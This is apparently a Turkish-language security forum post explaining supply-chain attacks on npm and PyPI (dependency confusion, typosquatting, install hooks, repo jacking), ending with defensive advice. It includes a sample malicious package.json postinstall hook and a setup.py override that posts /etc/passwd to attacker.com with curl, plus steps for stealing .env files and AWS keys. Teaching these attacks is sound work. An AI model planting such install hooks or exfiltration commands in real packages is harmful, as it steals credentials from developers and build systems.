📦 [VIP Research] Supply Chain Attacks: NPM ve PyPI Üzerinden "Zehirli" Kütüphane Dağıtımı

0 Replies 2 Views
·

Leave a rating: 📦 [VIP Research] Supply Chain Attacks: NPM ve PyPI Üzerinden "Zehirli" Kütüphane Dağıtımı

You have already rated this thread. Re-rating it will remove your existing rating or review.

Rating:

Raters: 📦 [VIP Research] Supply Chain Attacks: NPM ve PyPI Üzerinden "Zehirli" Kütüphane Dağıtımı

Participants
Thread Starter #0
⚠️ YASAL UYARI VE SORUMLULUK REDDİ (DISCLAIMER):

Bu doküman, DevSecOps Uzmanları, Yazılım Mimarları ve Güvenlik Araştırmacıları için; açık kaynak paket yönetim sistemlerindeki (Package Managers) mimari riskleri anlamak ve yazılım tedarik zincirini korumak amacıyla EĞİTİM AMAÇLI hazırlanmıştır.

Burada anlatılan Dependency Confusion (Bağımlılık Karmaşası) ve Typosquatting tekniklerinin, kötü niyetli paketler yayınlayarak sistemlere sızmak amacıyla kullanılması uluslararası siber suç yasalarınca ağır cezai yaptırımlara tabidir. Bu içeriğin kötüye kullanımından doğacak her türlü yasal sorumluluk uygulayıcıya aittir. Yazar ve ArchiveForum.org yönetimi sorumluluk kabul etmez.

1. Giriş: Kaynağı Zehirlemek

Eskiden hackerlar sunucudaki bir açığı (exploit) arardı. Şimdi ise o sunucuyu kuran geliştiriciyi (Developer) hedefliyorlar.

Bir geliştirici terminale npm install axios yazdığında, internetten bir kod parçasını alıp, hiçbir güvenlik taramasından geçirmeden, genellikle Root/Admin yetkisiyle çalışan bilgisayarına veya CI/CD hattına dahil eder.

Eğer saldırgan, geliştiricinin axios yerine yanlışlıkla indireceği zararlı bir paketi oraya koyabilirse (veya axios'un kendisini hackleyebilirse), oyun biter. Buna Supply Chain Attack (Tedarik Zinciri Saldırısı) denir.


2. Teknik 1: Dependency Confusion (Bağımlılık Karmaşası)

Bu yöntem, 2021 yılında Alex Birsan tarafından ortaya çıkarılan ve Apple, Microsoft, Tesla gibi devleri hackleyen yöntemdir.

Senaryo:Bir şirket, kendi iç projelerinde kullanmak üzere company-auth-module adında özel (private) bir paket geliştirir. Bu paket sadece şirketin iç ağındaki sunucuda barınır.

Saldırı:

  1. Saldırgan, şirketin package.json dosyalarından birini sızdırır veya tahmin yürüterek iç paket ismini bulur: company-auth-module.
  2. Saldırgan, herkese açık NPM veya PyPI deposuna gider ve aynı isimle bir paket yayınlar.
  3. Kritik Hamle: Saldırgan, paketin versiyonunu çok yüksek tutar (Örn: İçerideki v1.0 iken, saldırgan v99.0.0 yayınlar).
Sonuç:Geliştirici veya Otomatik Build sistemi npm install dediğinde, paket yöneticisi varsayılan olarak en yüksek versiyonu arar. İçerideki v1.0 yerine, internetteki (saldırgana ait) v99.0.0'ı indirir.Şirketin gizli olması gereken kodu yerine, saldırganın kodu çalışır.


3. Teknik 2: Typosquatting (Klavye Hataları)

En eski ama hala en etkili yöntemdir. Popüler paketlerin isimlerine çok benzeyen isimlerle zararlı paketler yayınlanır.

  • Orijinal: requests (Python'un en popüler kütüphanesi)
  • Sahte: requesrs, reqests, python-requests
Geliştirici aceleyle pip install requesrs yazar ve Enter'a basar. Ekranda her şey normal görünür, kütüphane gerçekten de HTTP istekleri atar (çünkü orijinal kodun kopyasıdır). Ancak arka planda saldırganın setup.py kodu çalışır.


4. Teknik 3: Execution (Kod Nasıl Çalışır?)

Paketi indirmek yetmez, saldırganın kodunun çalışması gerekir. NPM ve PyPI buna izin verir mi? Evet, hem de tasarım gereği.

A. NPM:

package.json dosyasında, paket yüklenmeden önce veya sonra çalışacak komutlar tanımlanabilir.


JSON
12345678// Zararlı package.json örneği
{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "node index.js" // Kurulum biter bitmez çalışır
  }
}


index.js dosyası ise genellikle şunları yapar:

  1. /etc/passwd veya .env dosyalarını oku.
  2. AWS Keylerini veya Veritabanı şifrelerini çal.
  3. Bu verileri sessizce saldırganın sunucusuna (webhook) gönder.

B. PyPI:

Python paketleri kurulurken setup.py dosyası çalıştırılır. Saldırgan install sınıfını override ederek istediği Python kodunu çalıştırabilir.

CODE
123456789101112131415# Zararlı setup.py parçası
from setuptools import setup
from setuptools.command.install import install
import os

class PostInstall(install):
    def run(self):
        install.run(self)
        # Zararlı işlem burada başlar (Reverse Shell vb.)
        os.system("curl -X POST -d @/etc/passwd http://attacker.com")

setup(
    ...
    cmdclass={'install': PostInstall},
)


5. Teknik 4: Repo Jacking (Terk Edilmiş Paketler)

Binlerce paket geliştiriciler tarafından terk ediliyor. Saldırganlar bu paketleri bulur:

  1. Paketin sahibine e-mail atar: "Projeyi güncellemek istiyorum, bana yetki verir misin?"
  2. Veya süresi dolmuş domainleri/e-mailleri alarak hesabı kurtarır (Account Takeover).
Paket bir kez ele geçirildiğinde, saldırgan içine zararlı kod ekler ve yeni versiyon yayınlar. O paketi kullanan milyonlarca proje, otomatik güncelleme aldığında enfekte olur. (Örn: ua-parser-js olayı).


6. Blue Team: Nasıl Korunuruz?

Bu saldırılar Antivirüs ile engellenemez. Mimari önlemler gerekir:

  1. Scoped Packages: İç paketleriniz için @sirketim/paket-adi şeklinde Scope kullanın. Bu, paket yöneticisine bu paketin sadece sizin özel kaydınızdan (Private Registry) geleceğini söyler.
  2. Lock Files: package-lock.json veya yarn.lock dosyalarını asla silmeyin ve Git'e atın. Bu dosyalar, indirilen paketin Hash (Özet) değerini tutar. Eğer paket değişirse, Hash tutmaz ve yükleme durur.
  3. Versiyon Sabitleme (Pinning): npm install paket@1.2.3 şeklinde tam sürüm belirtin. ^1.2.3 veya latest kullanmak Rus Ruleti oynamaktır.
  4. Ağ Kısıtlaması: CI/CD sunucularının internet erişimini kısıtlayın. Build sırasında dışarıya veri göndermeyi (Exfiltration) engelleyin.

7. Sonuç: Güven Zinciri Kırıldı

Yazılım geliştirme süreci artık "Kod Yazmaktan" çok "Kod Birleştirmeye" (Lego gibi) döndü. Supply Chain saldırıları, bu birleştirme noktalarındaki güveni istismar eder. Şunu unutmayın: Kullandığınız her import veya require komutu, tanımadığınız birinin kodunu sunucunuzda Root yetkisiyle çalıştırmasına izin vermektir.

You must be logged in to reply.

0 quotes selected